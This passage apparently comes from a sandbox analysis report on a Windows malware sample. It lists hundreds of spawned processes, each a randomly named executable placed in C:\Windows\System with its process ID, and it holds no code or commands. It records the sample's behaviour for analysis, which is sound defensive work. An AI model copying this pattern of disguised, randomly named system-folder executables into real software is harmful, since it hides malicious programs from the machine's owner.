  C:\Windows\System\YEolQqB.exe
  2⤵
  PID:8980
- C:\Windows\System\KFSbGEu.exe
  C:\Windows\System\KFSbGEu.exe
  2⤵
  PID:9008
- C:\Windows\System\zSThzQL.exe
  C:\Windows\System\zSThzQL.exe
  2⤵
  PID:9040
- C:\Windows\System\YTfCOit.exe
  C:\Windows\System\YTfCOit.exe
  2⤵
  PID:9060
- C:\Windows\System\JnXYEdo.exe
  C:\Windows\System\JnXYEdo.exe
  2⤵
  PID:9092
- C:\Windows\System\QUuXWdr.exe
  C:\Windows\System\QUuXWdr.exe
  2⤵
  PID:9112
- C:\Windows\System\yeZuhPc.exe
  C:\Windows\System\yeZuhPc.exe
  2⤵
  PID:9128
- C:\Windows\System\ZVbJBNk.exe
  C:\Windows\System\ZVbJBNk.exe
  2⤵
  PID:9160
- C:\Windows\System\zSBhwYn.exe
  C:\Windows\System\zSBhwYn.exe
  2⤵
  PID:9180
- C:\Windows\System\CbhaMsK.exe
  C:\Windows\System\CbhaMsK.exe
  2⤵
  PID:7128
- C:\Windows\System\ykDUJKI.exe
  C:\Windows\System\ykDUJKI.exe
  2⤵
  PID:7188
- C:\Windows\System\FmrCNGD.exe
  C:\Windows\System\FmrCNGD.exe
  2⤵
  PID:7236
- C:\Windows\System\UMRjhwW.exe
  C:\Windows\System\UMRjhwW.exe
  2⤵
  PID:4028
- C:\Windows\System\uheLTPm.exe
  C:\Windows\System\uheLTPm.exe
  2⤵
  PID:7340
- C:\Windows\System\qDOTmIb.exe
  C:\Windows\System\qDOTmIb.exe
  2⤵
  PID:8172
- C:\Windows\System\exsulOI.exe
  C:\Windows\System\exsulOI.exe
  2⤵
  PID:740
- C:\Windows\System\MjJxmMO.exe
  C:\Windows\System\MjJxmMO.exe
  2⤵
  PID:7512
- C:\Windows\System\mSuROke.exe
  C:\Windows\System\mSuROke.exe
  2⤵
  PID:6304
- C:\Windows\System\ysAEnCW.exe
  C:\Windows\System\ysAEnCW.exe
  2⤵
  PID:7600
- C:\Windows\System\JNZWLRh.exe
  C:\Windows\System\JNZWLRh.exe
  2⤵
  PID:7636
- C:\Windows\System\EAqNRLS.exe
  C:\Windows\System\EAqNRLS.exe
  2⤵
  PID:5244
- C:\Windows\System\SGtpJTn.exe
  C:\Windows\System\SGtpJTn.exe
  2⤵
  PID:5936
- C:\Windows\System\kfjWfkm.exe
  C:\Windows\System\kfjWfkm.exe
  2⤵
  PID:7760
- C:\Windows\System\ULLiaEk.exe
  C:\Windows\System\ULLiaEk.exe
  2⤵
  PID:8292
- C:\Windows\System\wNJBgxM.exe
  C:\Windows\System\wNJBgxM.exe
  2⤵
  PID:7872
- C:\Windows\System\sPDIlZU.exe
  C:\Windows\System\sPDIlZU.exe
  2⤵
  PID:7180
- C:\Windows\System\NhQmyUx.exe
  C:\Windows\System\NhQmyUx.exe
  2⤵
  PID:7948
- C:\Windows\System\YhUWGIz.exe
  C:\Windows\System\YhUWGIz.exe
  2⤵
  PID:9244
- C:\Windows\System\FpjgpQj.exe
  C:\Windows\System\FpjgpQj.exe
  2⤵
  PID:9260
- C:\Windows\System\QAbJCpd.exe
  C:\Windows\System\QAbJCpd.exe
  2⤵
  PID:9280
- C:\Windows\System\sgBNWWB.exe
  C:\Windows\System\sgBNWWB.exe
  2⤵
  PID:9300
- C:\Windows\System\FQRqAcC.exe
  C:\Windows\System\FQRqAcC.exe
  2⤵
  PID:9324
- C:\Windows\System\aSDmKts.exe
  C:\Windows\System\aSDmKts.exe
  2⤵
  PID:9364
- C:\Windows\System\EuliBEC.exe
  C:\Windows\System\EuliBEC.exe
  2⤵
  PID:9388
- C:\Windows\System\wxkwhRx.exe
  C:\Windows\System\wxkwhRx.exe
  2⤵
  PID:9412
- C:\Windows\System\tuIIhab.exe
  C:\Windows\System\tuIIhab.exe
  2⤵
  PID:9432
- C:\Windows\System\gdgXYxq.exe
  C:\Windows\System\gdgXYxq.exe
  2⤵
  PID:9448
- C:\Windows\System\MjHHvLK.exe
  C:\Windows\System\MjHHvLK.exe
  2⤵
  PID:9468
- C:\Windows\System\ItAWuPw.exe
  C:\Windows\System\ItAWuPw.exe
  2⤵
  PID:9488
- C:\Windows\System\fLrNgIN.exe
  C:\Windows\System\fLrNgIN.exe
  2⤵
  PID:9504
- C:\Windows\System\lztqXfq.exe
  C:\Windows\System\lztqXfq.exe
  2⤵
  PID:9536
- C:\Windows\System\ihRNTtb.exe
  C:\Windows\System\ihRNTtb.exe
  2⤵
  PID:9556
- C:\Windows\System\htbpDVs.exe
  C:\Windows\System\htbpDVs.exe
  2⤵
  PID:9584
- C:\Windows\System\MaZexVe.exe
  C:\Windows\System\MaZexVe.exe
  2⤵
  PID:9604
- C:\Windows\System\qkegWEt.exe
  C:\Windows\System\qkegWEt.exe
  2⤵
  PID:9644
- C:\Windows\System\ZhbJvYn.exe
  C:\Windows\System\ZhbJvYn.exe
  2⤵
  PID:9664
- C:\Windows\System\ZDmTgrE.exe
  C:\Windows\System\ZDmTgrE.exe
  2⤵
  PID:9696
- C:\Windows\System\APSONlt.exe
  C:\Windows\System\APSONlt.exe
  2⤵
  PID:9732
- C:\Windows\System\ZzEHNnV.exe
  C:\Windows\System\ZzEHNnV.exe
  2⤵
  PID:9768
- C:\Windows\System\ShwSYoe.exe
  C:\Windows\System\ShwSYoe.exe
  2⤵
  PID:9788
- C:\Windows\System\iPfVShU.exe
  C:\Windows\System\iPfVShU.exe
  2⤵
  PID:9812
- C:\Windows\System\wDEXXNx.exe
  C:\Windows\System\wDEXXNx.exe
  2⤵
  PID:9844
- C:\Windows\System\ItSrwkI.exe
  C:\Windows\System\ItSrwkI.exe
  2⤵
  PID:9860
- C:\Windows\System\zZfnIvL.exe
  C:\Windows\System\zZfnIvL.exe
  2⤵
  PID:9880
- C:\Windows\System\TSiOMgq.exe
  C:\Windows\System\TSiOMgq.exe
  2⤵
  PID:9912
- C:\Windows\System\FPzCjxd.exe
  C:\Windows\System\FPzCjxd.exe
  2⤵
  PID:9956
- C:\Windows\System\lSsIkdK.exe
  C:\Windows\System\lSsIkdK.exe
  2⤵
  PID:9988
- C:\Windows\System\hlPiLqJ.exe
  C:\Windows\System\hlPiLqJ.exe
  2⤵
  PID:10008
- C:\Windows\System\dqVivRv.exe
  C:\Windows\System\dqVivRv.exe
  2⤵
  PID:10028
- C:\Windows\System\sYShmMa.exe
  C:\Windows\System\sYShmMa.exe
  2⤵
  PID:10048
- C:\Windows\System\xXhMDQG.exe
  C:\Windows\System\xXhMDQG.exe
  2⤵
  PID:10092
- C:\Windows\System\xUOcmOk.exe
  C:\Windows\System\xUOcmOk.exe
  2⤵
  PID:10124
- C:\Windows\System\CLBLzJP.exe
  C:\Windows\System\CLBLzJP.exe
  2⤵
  PID:10140
- C:\Windows\System\HinnTIj.exe
  C:\Windows\System\HinnTIj.exe
  2⤵
  PID:10156
- C:\Windows\System\xsxcNfm.exe
  C:\Windows\System\xsxcNfm.exe
  2⤵
  PID:10172
- C:\Windows\System\spBMhCB.exe
  C:\Windows\System\spBMhCB.exe
  2⤵
  PID:10188
- C:\Windows\System\XdzpOmk.exe
  C:\Windows\System\XdzpOmk.exe
  2⤵
  PID:10204
- C:\Windows\System\YYStnEO.exe
  C:\Windows\System\YYStnEO.exe
  2⤵
  PID:10220
- C:\Windows\System\zYuncFy.exe
  C:\Windows\System\zYuncFy.exe
  2⤵
  PID:8472
- C:\Windows\System\IEteQri.exe
  C:\Windows\System\IEteQri.exe
  2⤵
  PID:7316
- C:\Windows\System\eeUCnpx.exe
  C:\Windows\System\eeUCnpx.exe
  2⤵
  PID:7312
- C:\Windows\System\BKBBPNP.exe
  C:\Windows\System\BKBBPNP.exe
  2⤵
  PID:7324
- C:\Windows\System\QvXKPUa.exe
  C:\Windows\System\QvXKPUa.exe
  2⤵
  PID:8712
- C:\Windows\System\KZeKWZO.exe
  C:\Windows\System\KZeKWZO.exe
  2⤵
  PID:7412
- C:\Windows\System\zQXEnBV.exe
  C:\Windows\System\zQXEnBV.exe
  2⤵
  PID:6444
- C:\Windows\System\KWMHBcm.exe
  C:\Windows\System\KWMHBcm.exe
  2⤵
  PID:7012
- C:\Windows\System\mHwqjjt.exe
  C:\Windows\System\mHwqjjt.exe
  2⤵
  PID:7080
- C:\Windows\System\TkTEyln.exe
  C:\Windows\System\TkTEyln.exe
  2⤵
  PID:8808
- C:\Windows\System\NyokKKc.exe
  C:\Windows\System\NyokKKc.exe
  2⤵
  PID:8904
- C:\Windows\System\juneHKI.exe
  C:\Windows\System\juneHKI.exe
  2⤵
  PID:10588
- C:\Windows\System\NufYMHA.exe
  C:\Windows\System\NufYMHA.exe
  2⤵
  PID:10604
- C:\Windows\System\MfavxGO.exe
  C:\Windows\System\MfavxGO.exe
  2⤵
  PID:10624
- C:\Windows\System\lOAzxNI.exe
  C:\Windows\System\lOAzxNI.exe
  2⤵
  PID:10644
- C:\Windows\System\kTpGQmj.exe
  C:\Windows\System\kTpGQmj.exe
  2⤵
  PID:10672
- C:\Windows\System\FexJpOI.exe
  C:\Windows\System\FexJpOI.exe
  2⤵
  PID:10712
- C:\Windows\System\hoMhtdW.exe
  C:\Windows\System\hoMhtdW.exe
  2⤵
  PID:10728
- C:\Windows\System\RscEzeR.exe
  C:\Windows\System\RscEzeR.exe
  2⤵
  PID:10760
- C:\Windows\System\JosrjjG.exe
  C:\Windows\System\JosrjjG.exe
  2⤵
  PID:10784
- C:\Windows\System\IZAxvyU.exe
  C:\Windows\System\IZAxvyU.exe
  2⤵
  PID:10808
- C:\Windows\System\qZJAvQZ.exe
  C:\Windows\System\qZJAvQZ.exe
  2⤵
  PID:10852
- C:\Windows\System\DgZOFxg.exe
  C:\Windows\System\DgZOFxg.exe
  2⤵
  PID:10896
- C:\Windows\System\eTnAkLx.exe
  C:\Windows\System\eTnAkLx.exe
  2⤵
  PID:10936
- C:\Windows\System\NOhuZpw.exe
  C:\Windows\System\NOhuZpw.exe
  2⤵
  PID:10952
- C:\Windows\System\OPanzJR.exe
  C:\Windows\System\OPanzJR.exe
  2⤵
  PID:10968
- C:\Windows\System\xFiyfyB.exe
  C:\Windows\System\xFiyfyB.exe
  2⤵
  PID:11000
- C:\Windows\System\EfrrZda.exe
  C:\Windows\System\EfrrZda.exe
  2⤵
  PID:11024
- C:\Windows\System\GKsHyca.exe
  C:\Windows\System\GKsHyca.exe
  2⤵
  PID:11040
- C:\Windows\System\QLoruQC.exe
  C:\Windows\System\QLoruQC.exe
  2⤵
  PID:11060
- C:\Windows\System\BTjIFLK.exe
  C:\Windows\System\BTjIFLK.exe
  2⤵
  PID:11076
- C:\Windows\System\tXvzAxh.exe
  C:\Windows\System\tXvzAxh.exe
  2⤵
  PID:11096
- C:\Windows\System\OkBJhEn.exe
  C:\Windows\System\OkBJhEn.exe
  2⤵
  PID:11116
- C:\Windows\System\IBTzUAr.exe
  C:\Windows\System\IBTzUAr.exe
  2⤵
  PID:11144
- C:\Windows\System\ULwYlEb.exe
  C:\Windows\System\ULwYlEb.exe
  2⤵
  PID:11164
- C:\Windows\System\LHtUYgM.exe
  C:\Windows\System\LHtUYgM.exe
  2⤵
  PID:11188
- C:\Windows\System\iLzHEjw.exe
  C:\Windows\System\iLzHEjw.exe
  2⤵
  PID:11208
- C:\Windows\System\pZUAKoX.exe
  C:\Windows\System\pZUAKoX.exe
  2⤵
  PID:11228
- C:\Windows\System\dpkbkGz.exe
  C:\Windows\System\dpkbkGz.exe
  2⤵
  PID:11256
- C:\Windows\System\IYsRaGr.exe
  C:\Windows\System\IYsRaGr.exe
  2⤵
  PID:9396
- C:\Windows\System\hehjasx.exe
  C:\Windows\System\hehjasx.exe
  2⤵
  PID:8416
- C:\Windows\System\WXTRMik.exe
  C:\Windows\System\WXTRMik.exe
  2⤵
  PID:9276
- C:\Windows\System\yiBoBaW.exe
  C:\Windows\System\yiBoBaW.exe
  2⤵
  PID:9484
- C:\Windows\System\DJyLTLG.exe
  C:\Windows\System\DJyLTLG.exe
  2⤵
  PID:6756
- C:\Windows\System\ljuoKYJ.exe
  C:\Windows\System\ljuoKYJ.exe
  2⤵
  PID:8572
- C:\Windows\System\lmoAtvi.exe
  C:\Windows\System\lmoAtvi.exe
  2⤵
  PID:10196
- C:\Windows\System\hcbEZgK.exe
  C:\Windows\System\hcbEZgK.exe
  2⤵
  PID:10112
- C:\Windows\System\JRQHyTI.exe
  C:\Windows\System\JRQHyTI.exe
  2⤵
  PID:9872
- C:\Windows\System\RxHFMih.exe
  C:\Windows\System\RxHFMih.exe
  2⤵
  PID:9548
- C:\Windows\System\ksyVsLs.exe
  C:\Windows\System\ksyVsLs.exe
  2⤵
  PID:9660
- C:\Windows\System\jaIrEuH.exe
  C:\Windows\System\jaIrEuH.exe
  2⤵
  PID:8336
- C:\Windows\System\iznCNoP.exe
  C:\Windows\System\iznCNoP.exe
  2⤵
  PID:9952
- C:\Windows\System\FNWXwWR.exe
  C:\Windows\System\FNWXwWR.exe
  2⤵
  PID:8368
- C:\Windows\System\CMuVdQR.exe
  C:\Windows\System\CMuVdQR.exe
  2⤵
  PID:8436
- C:\Windows\System\pGEwEFo.exe
  C:\Windows\System\pGEwEFo.exe
  2⤵
  PID:10104
- C:\Windows\System\dgvqQin.exe
  C:\Windows\System\dgvqQin.exe
  2⤵
  PID:10168
- C:\Windows\System\CgrrxKJ.exe
  C:\Windows\System\CgrrxKJ.exe
  2⤵
  PID:8108
- C:\Windows\System\nCwxgHY.exe
  C:\Windows\System\nCwxgHY.exe
  2⤵
  PID:8052
- C:\Windows\System\wMzkzRA.exe
  C:\Windows\System\wMzkzRA.exe
  2⤵
  PID:10260
- C:\Windows\System\FyKmDad.exe
  C:\Windows\System\FyKmDad.exe
  2⤵
  PID:7464
- C:\Windows\System\ktXWdAd.exe
  C:\Windows\System\ktXWdAd.exe
  2⤵
  PID:10312
- C:\Windows\System\FyxqwuZ.exe
  C:\Windows\System\FyxqwuZ.exe
  2⤵
  PID:9620
- C:\Windows\System\gbRBqsw.exe
  C:\Windows\System\gbRBqsw.exe
  2⤵
  PID:9708
- C:\Windows\System\eRUBYAE.exe
  C:\Windows\System\eRUBYAE.exe
  2⤵
  PID:8376
- C:\Windows\System\wltIZbl.exe
  C:\Windows\System\wltIZbl.exe
  2⤵
  PID:9800
- C:\Windows\System\unWcsdt.exe
  C:\Windows\System\unWcsdt.exe
  2⤵
  PID:9496
- C:\Windows\System\pmiwSdP.exe
  C:\Windows\System\pmiwSdP.exe
  2⤵
  PID:9272
- C:\Windows\System\BNSvVoH.exe
  C:\Windows\System\BNSvVoH.exe
  2⤵
  PID:6852
- C:\Windows\System\tDbrJII.exe
  C:\Windows\System\tDbrJII.exe
  2⤵
  PID:9308
- C:\Windows\System\oePLBvg.exe
  C:\Windows\System\oePLBvg.exe
  2⤵
  PID:10572
- C:\Windows\System\RZZAYsy.exe
  C:\Windows\System\RZZAYsy.exe
  2⤵
  PID:8920
- C:\Windows\System\aPVArsC.exe
  C:\Windows\System\aPVArsC.exe
  2⤵
  PID:10636
- C:\Windows\System\PVfxJTV.exe
  C:\Windows\System\PVfxJTV.exe
  2⤵
  PID:10696
- C:\Windows\System\PJyEcac.exe
  C:\Windows\System\PJyEcac.exe
  2⤵
  PID:10780
- C:\Windows\System\HVTiKnS.exe
  C:\Windows\System\HVTiKnS.exe
  2⤵
  PID:10880
- C:\Windows\System\cpvhYvn.exe
  C:\Windows\System\cpvhYvn.exe
  2⤵
  PID:7852
- C:\Windows\System\EvmCEGu.exe
  C:\Windows\System\EvmCEGu.exe
  2⤵
  PID:8028
- C:\Windows\System\NdeyRer.exe
  C:\Windows\System\NdeyRer.exe
  2⤵
  PID:8584
- C:\Windows\System\KKalhkZ.exe
  C:\Windows\System\KKalhkZ.exe
  2⤵
  PID:2276
- C:\Windows\System\uFUTulX.exe
  C:\Windows\System\uFUTulX.exe
  2⤵
  PID:8576
- C:\Windows\System\tvLpZXY.exe
  C:\Windows\System\tvLpZXY.exe
  2⤵
  PID:10620
- C:\Windows\System\FUopYkt.exe
  C:\Windows\System\FUopYkt.exe
  2⤵
  PID:9640
- C:\Windows\System\ErkYLHt.exe
  C:\Windows\System\ErkYLHt.exe
  2⤵
  PID:9372
- C:\Windows\System\SgGayBM.exe
  C:\Windows\System\SgGayBM.exe
  2⤵
  PID:7616
- C:\Windows\System\FbUYkzX.exe
  C:\Windows\System\FbUYkzX.exe
  2⤵
  PID:11008
- C:\Windows\System\jWhxVdo.exe
  C:\Windows\System\jWhxVdo.exe
  2⤵
  PID:9240
- C:\Windows\System\pFweGfP.exe
  C:\Windows\System\pFweGfP.exe
  2⤵
  PID:10020
- C:\Windows\System\eleMCrk.exe
  C:\Windows\System\eleMCrk.exe
  2⤵
  PID:10080
- C:\Windows\System\bcblOnY.exe
  C:\Windows\System\bcblOnY.exe
  2⤵
  PID:10248
- C:\Windows\System\UdnzvuF.exe
  C:\Windows\System\UdnzvuF.exe
  2⤵
  PID:9900
- C:\Windows\System\ZjPHpHD.exe
  C:\Windows\System\ZjPHpHD.exe
  2⤵
  PID:10384
- C:\Windows\System\kjegBlV.exe
  C:\Windows\System\kjegBlV.exe
  2⤵
  PID:10448
- C:\Windows\System\nhLDRbw.exe
  C:\Windows\System\nhLDRbw.exe
  2⤵
  PID:10560
- C:\Windows\System\qbTuYlj.exe
  C:\Windows\System\qbTuYlj.exe
  2⤵
  PID:8128
- C:\Windows\System\qsPjvhG.exe
  C:\Windows\System\qsPjvhG.exe
  2⤵
  PID:10680
- C:\Windows\System\ZgJgrFc.exe
  C:\Windows\System\ZgJgrFc.exe
  2⤵
  PID:10800
- C:\Windows\System\GzycuCF.exe
  C:\Windows\System\GzycuCF.exe
  2⤵
  PID:10864
- C:\Windows\System\zJofckz.exe
  C:\Windows\System\zJofckz.exe
  2⤵
  PID:10924
- C:\Windows\System\upNsUnk.exe
  C:\Windows\System\upNsUnk.exe
  2⤵
  PID:10352
- C:\Windows\System\zmYKKPv.exe
  C:\Windows\System\zmYKKPv.exe
  2⤵
  PID:11292
- C:\Windows\System\YCOHOXy.exe
  C:\Windows\System\YCOHOXy.exe
  2⤵
  PID:11324
- C:\Windows\System\KcPvNuU.exe
  C:\Windows\System\KcPvNuU.exe
  2⤵
  PID:11368
- C:\Windows\System\pQHkbja.exe
  C:\Windows\System\pQHkbja.exe
  2⤵
  PID:11388
- C:\Windows\System\baOtnmT.exe
  C:\Windows\System\baOtnmT.exe
  2⤵
  PID:11404
- C:\Windows\System\bFsUXmJ.exe
  C:\Windows\System\bFsUXmJ.exe
  2⤵
  PID:11424
- C:\Windows\System\vTIVrLl.exe
  C:\Windows\System\vTIVrLl.exe
  2⤵
  PID:11440
- C:\Windows\System\VdPPQrp.exe
  C:\Windows\System\VdPPQrp.exe
  2⤵
  PID:11456
- C:\Windows\System\HxXHfKz.exe
  C:\Windows\System\HxXHfKz.exe
  2⤵
  PID:11472
- C:\Windows\System\WtvXOVw.exe
  C:\Windows\System\WtvXOVw.exe
  2⤵
  PID:11488
- C:\Windows\System\zEEEkQZ.exe
  C:\Windows\System\zEEEkQZ.exe
  2⤵
  PID:11504
- C:\Windows\System\mTgFHLr.exe
  C:\Windows\System\mTgFHLr.exe
  2⤵
  PID:11524
- C:\Windows\System\cfHFGzA.exe
  C:\Windows\System\cfHFGzA.exe
  2⤵
  PID:11540
- C:\Windows\System\scjBQys.exe
  C:\Windows\System\scjBQys.exe
  2⤵
  PID:11560
- C:\Windows\System\CCDiqTA.exe
  C:\Windows\System\CCDiqTA.exe
  2⤵
  PID:11576
- C:\Windows\System\eCjdEyP.exe
  C:\Windows\System\eCjdEyP.exe
  2⤵
  PID:11592
- C:\Windows\System\AiJFtut.exe
  C:\Windows\System\AiJFtut.exe
  2⤵
  PID:11612
- C:\Windows\System\WityOjg.exe
  C:\Windows\System\WityOjg.exe
  2⤵
  PID:11640
- C:\Windows\System\uIoEXoy.exe
  C:\Windows\System\uIoEXoy.exe
  2⤵
  PID:11660
- C:\Windows\System\KRoUBws.exe
  C:\Windows\System\KRoUBws.exe
  2⤵
  PID:11680
- C:\Windows\System\tNfhGeU.exe
  C:\Windows\System\tNfhGeU.exe
  2⤵
  PID:11704
- C:\Windows\System\paRKQZx.exe
  C:\Windows\System\paRKQZx.exe
  2⤵
  PID:11724
- C:\Windows\System\hPwtJHg.exe
  C:\Windows\System\hPwtJHg.exe
  2⤵
  PID:11744
- C:\Windows\System\dqnODQu.exe
  C:\Windows\System\dqnODQu.exe
  2⤵
  PID:11764
- C:\Windows\System\nbDEKNW.exe
  C:\Windows\System\nbDEKNW.exe
  2⤵
  PID:11792
- C:\Windows\System\XhOwXRV.exe
  C:\Windows\System\XhOwXRV.exe
  2⤵
  PID:11816
- C:\Windows\System\UfbtZNr.exe
  C:\Windows\System\UfbtZNr.exe
  2⤵
  PID:11836
- C:\Windows\System\SeQvKSo.exe
  C:\Windows\System\SeQvKSo.exe
  2⤵
  PID:11856
- C:\Windows\System\bSyKCeo.exe
  C:\Windows\System\bSyKCeo.exe
  2⤵
  PID:11888
- C:\Windows\System\MXzpekD.exe
  C:\Windows\System\MXzpekD.exe
  2⤵
  PID:11920
- C:\Windows\System\AUwkPwP.exe
  C:\Windows\System\AUwkPwP.exe
  2⤵
  PID:11940
- C:\Windows\System\vOoiWEj.exe
  C:\Windows\System\vOoiWEj.exe
  2⤵
  PID:11980
- C:\Windows\System\GmDNFUV.exe
  C:\Windows\System\GmDNFUV.exe
  2⤵
  PID:12012
- C:\Windows\System\UsxmtEm.exe
  C:\Windows\System\UsxmtEm.exe
  2⤵
  PID:12040
- C:\Windows\System\AcTJFsY.exe
  C:\Windows\System\AcTJFsY.exe
  2⤵
  PID:12072
- C:\Windows\System\cNceLES.exe
  C:\Windows\System\cNceLES.exe
  2⤵
  PID:12088
- C:\Windows\System\sXlfYLV.exe
  C:\Windows\System\sXlfYLV.exe
  2⤵
  PID:12128
- C:\Windows\System\KkpPoWL.exe
  C:\Windows\System\KkpPoWL.exe
  2⤵
  PID:12148
- C:\Windows\System\BEyDFsl.exe
  C:\Windows\System\BEyDFsl.exe
  2⤵
  PID:12176
- C:\Windows\System\XcAKHFi.exe
  C:\Windows\System\XcAKHFi.exe
  2⤵
  PID:12196
- C:\Windows\System\aCpvwQW.exe
  C:\Windows\System\aCpvwQW.exe
  2⤵
  PID:12216
- C:\Windows\System\jecTHpf.exe
  C:\Windows\System\jecTHpf.exe
  2⤵
  PID:12236
- C:\Windows\System\UHCDpYz.exe
  C:\Windows\System\UHCDpYz.exe
  2⤵
  PID:12268
- C:\Windows\System\uQemJDG.exe
  C:\Windows\System\uQemJDG.exe
  2⤵
  PID:6488
- C:\Windows\System\KHnGYGs.exe
  C:\Windows\System\KHnGYGs.exe
  2⤵
  PID:11048
- C:\Windows\System\EECntqG.exe
  C:\Windows\System\EECntqG.exe
  2⤵
  PID:10876
- C:\Windows\System\xXhwmeL.exe
  C:\Windows\System\xXhwmeL.exe
  2⤵
  PID:9212
- C:\Windows\System\SRwJvas.exe
  C:\Windows\System\SRwJvas.exe
  2⤵
  PID:11244
- C:\Windows\System\UWfdvYm.exe
  C:\Windows\System\UWfdvYm.exe
  2⤵
  PID:10692
- C:\Windows\System\CDSunYF.exe
  C:\Windows\System\CDSunYF.exe
  2⤵
  PID:10132
- C:\Windows\System\ykCjUAo.exe
  C:\Windows\System\ykCjUAo.exe
  2⤵
  PID:9632
- C:\Windows\System\UodYNgJ.exe
  C:\Windows\System\UodYNgJ.exe
  2⤵
  PID:8396
- C:\Windows\System\toMNxSt.exe
  C:\Windows\System\toMNxSt.exe
  2⤵
  PID:7036
- C:\Windows\System\cuZyzLx.exe
  C:\Windows\System\cuZyzLx.exe
  2⤵
  PID:10568
- C:\Windows\System\OcqbRjc.exe
  C:\Windows\System\OcqbRjc.exe
  2⤵
  PID:10600
- C:\Windows\System\DhsWcrC.exe
  C:\Windows\System\DhsWcrC.exe
  2⤵
  PID:10984
- C:\Windows\System\MyDQLSA.exe
  C:\Windows\System\MyDQLSA.exe
  2⤵
  PID:10868
- C:\Windows\System\MhEGTOB.exe
  C:\Windows\System\MhEGTOB.exe
  2⤵
  PID:11356
- C:\Windows\System\bUiSXVh.exe
  C:\Windows\System\bUiSXVh.exe
  2⤵
  PID:11468
- C:\Windows\System\IPBtEgC.exe
  C:\Windows\System\IPBtEgC.exe
  2⤵
  PID:10564
- C:\Windows\System\fZfFMoc.exe
  C:\Windows\System\fZfFMoc.exe
  2⤵
  PID:10656
- C:\Windows\System\drmkXZZ.exe
  C:\Windows\System\drmkXZZ.exe
  2⤵
  PID:9796
- C:\Windows\System\ofDteEg.exe
  C:\Windows\System\ofDteEg.exe
  2⤵
  PID:6708
- C:\Windows\System\nzZdwYT.exe
  C:\Windows\System\nzZdwYT.exe
  2⤵
  PID:4460
- C:\Windows\System\sGhosrG.exe
  C:\Windows\System\sGhosrG.exe
  2⤵
  PID:12312
- C:\Windows\System\jSimYHw.exe
  C:\Windows\System\jSimYHw.exe
  2⤵
  PID:12328
- C:\Windows\System\iQNIpdG.exe
  C:\Windows\System\iQNIpdG.exe
  2⤵
  PID:12348
- C:\Windows\System\HlTQudQ.exe
  C:\Windows\System\HlTQudQ.exe
  2⤵
  PID:12372
- C:\Windows\System\hNYyxLQ.exe
  C:\Windows\System\hNYyxLQ.exe
  2⤵
  PID:12392
- C:\Windows\System\QsGGdWo.exe
  C:\Windows\System\QsGGdWo.exe
  2⤵
  PID:12408
- C:\Windows\System\pSfrZpd.exe
  C:\Windows\System\pSfrZpd.exe
  2⤵
  PID:12424
- C:\Windows\System\zQMPDHh.exe
  C:\Windows\System\zQMPDHh.exe
  2⤵
  PID:12444
- C:\Windows\System\noBbulI.exe
  C:\Windows\System\noBbulI.exe
  2⤵
  PID:12460
- C:\Windows\System\jJJiYqw.exe
  C:\Windows\System\jJJiYqw.exe
  2⤵
  PID:12476
- C:\Windows\System\PGYJyrl.exe
  C:\Windows\System\PGYJyrl.exe
  2⤵
  PID:12492
- C:\Windows\System\zMSmDyI.exe
  C:\Windows\System\zMSmDyI.exe
  2⤵
  PID:12508
- C:\Windows\System\BdGQuOO.exe
  C:\Windows\System\BdGQuOO.exe
  2⤵
  PID:12528
- C:\Windows\System\tUDpdck.exe
  C:\Windows\System\tUDpdck.exe
  2⤵
  PID:12548
- C:\Windows\System\lRKujAg.exe
  C:\Windows\System\lRKujAg.exe
  2⤵
  PID:12572
- C:\Windows\System\UWMgtzM.exe
  C:\Windows\System\UWMgtzM.exe
  2⤵
  PID:12604
- C:\Windows\System\GzAPQtn.exe
  C:\Windows\System\GzAPQtn.exe
  2⤵
  PID:12648
- C:\Windows\System\kOWAPdC.exe
  C:\Windows\System\kOWAPdC.exe
  2⤵
  PID:12680
- C:\Windows\System\wYOdKSZ.exe
  C:\Windows\System\wYOdKSZ.exe
  2⤵
  PID:12696
- C:\Windows\System\QFtQQMg.exe
  C:\Windows\System\QFtQQMg.exe
  2⤵
  PID:12736
- C:\Windows\System\fBjkyIs.exe
  C:\Windows\System\fBjkyIs.exe
  2⤵
  PID:12760
- C:\Windows\System\EXuPQqj.exe
  C:\Windows\System\EXuPQqj.exe
  2⤵
  PID:12776
- C:\Windows\System\gptNtET.exe
  C:\Windows\System\gptNtET.exe
  2⤵
  PID:12804
- C:\Windows\System\cYQhlda.exe
  C:\Windows\System\cYQhlda.exe
  2⤵
  PID:12832
- C:\Windows\System\BjNeMkb.exe
  C:\Windows\System\BjNeMkb.exe
  2⤵
  PID:12860
- C:\Windows\System\eCcwJKc.exe
  C:\Windows\System\eCcwJKc.exe
  2⤵
  PID:12880
- C:\Windows\System\GQitKGi.exe
  C:\Windows\System\GQitKGi.exe
  2⤵
  PID:12924
- C:\Windows\System\IgJYsVA.exe
  C:\Windows\System\IgJYsVA.exe
  2⤵
  PID:12956
- C:\Windows\System\mYYdAep.exe
  C:\Windows\System\mYYdAep.exe
  2⤵
  PID:12984
- C:\Windows\System\eUtAwGa.exe
  C:\Windows\System\eUtAwGa.exe
  2⤵
  PID:13004
- C:\Windows\System\zQUkNCN.exe
  C:\Windows\System\zQUkNCN.exe
  2⤵
  PID:13032
- C:\Windows\System\rKCFyUc.exe
  C:\Windows\System\rKCFyUc.exe
  2⤵
  PID:13048
- C:\Windows\System\DZHSHMI.exe
  C:\Windows\System\DZHSHMI.exe
  2⤵
  PID:13096
- C:\Windows\System\jUINHQr.exe
  C:\Windows\System\jUINHQr.exe
  2⤵
  PID:13112
- C:\Windows\System\vOkElmV.exe
  C:\Windows\System\vOkElmV.exe
  2⤵
  PID:13144
- C:\Windows\System\IDBEInS.exe
  C:\Windows\System\IDBEInS.exe
  2⤵
  PID:13160
- C:\Windows\System\BIJqvzR.exe
  C:\Windows\System\BIJqvzR.exe
  2⤵
  PID:13176
- C:\Windows\System\ArDxMfO.exe
  C:\Windows\System\ArDxMfO.exe
  2⤵
  PID:13212
- C:\Windows\System\nxgFAKJ.exe
  C:\Windows\System\nxgFAKJ.exe
  2⤵
  PID:13252
- C:\Windows\System\iHqCkBj.exe
  C:\Windows\System\iHqCkBj.exe
  2⤵
  PID:13288
- C:\Windows\System\lCUIWBd.exe
  C:\Windows\System\lCUIWBd.exe
  2⤵
  PID:13304
- C:\Windows\System\DniwFMp.exe
  C:\Windows\System\DniwFMp.exe
  2⤵
  PID:3500
- C:\Windows\System\GRBcKkz.exe
  C:\Windows\System\GRBcKkz.exe
  2⤵
  PID:10324
- C:\Windows\System\gAwWunv.exe
  C:\Windows\System\gAwWunv.exe
  2⤵
  PID:5084
- C:\Windows\System\RuulSCb.exe
  C:\Windows\System\RuulSCb.exe
  2⤵
  PID:6668
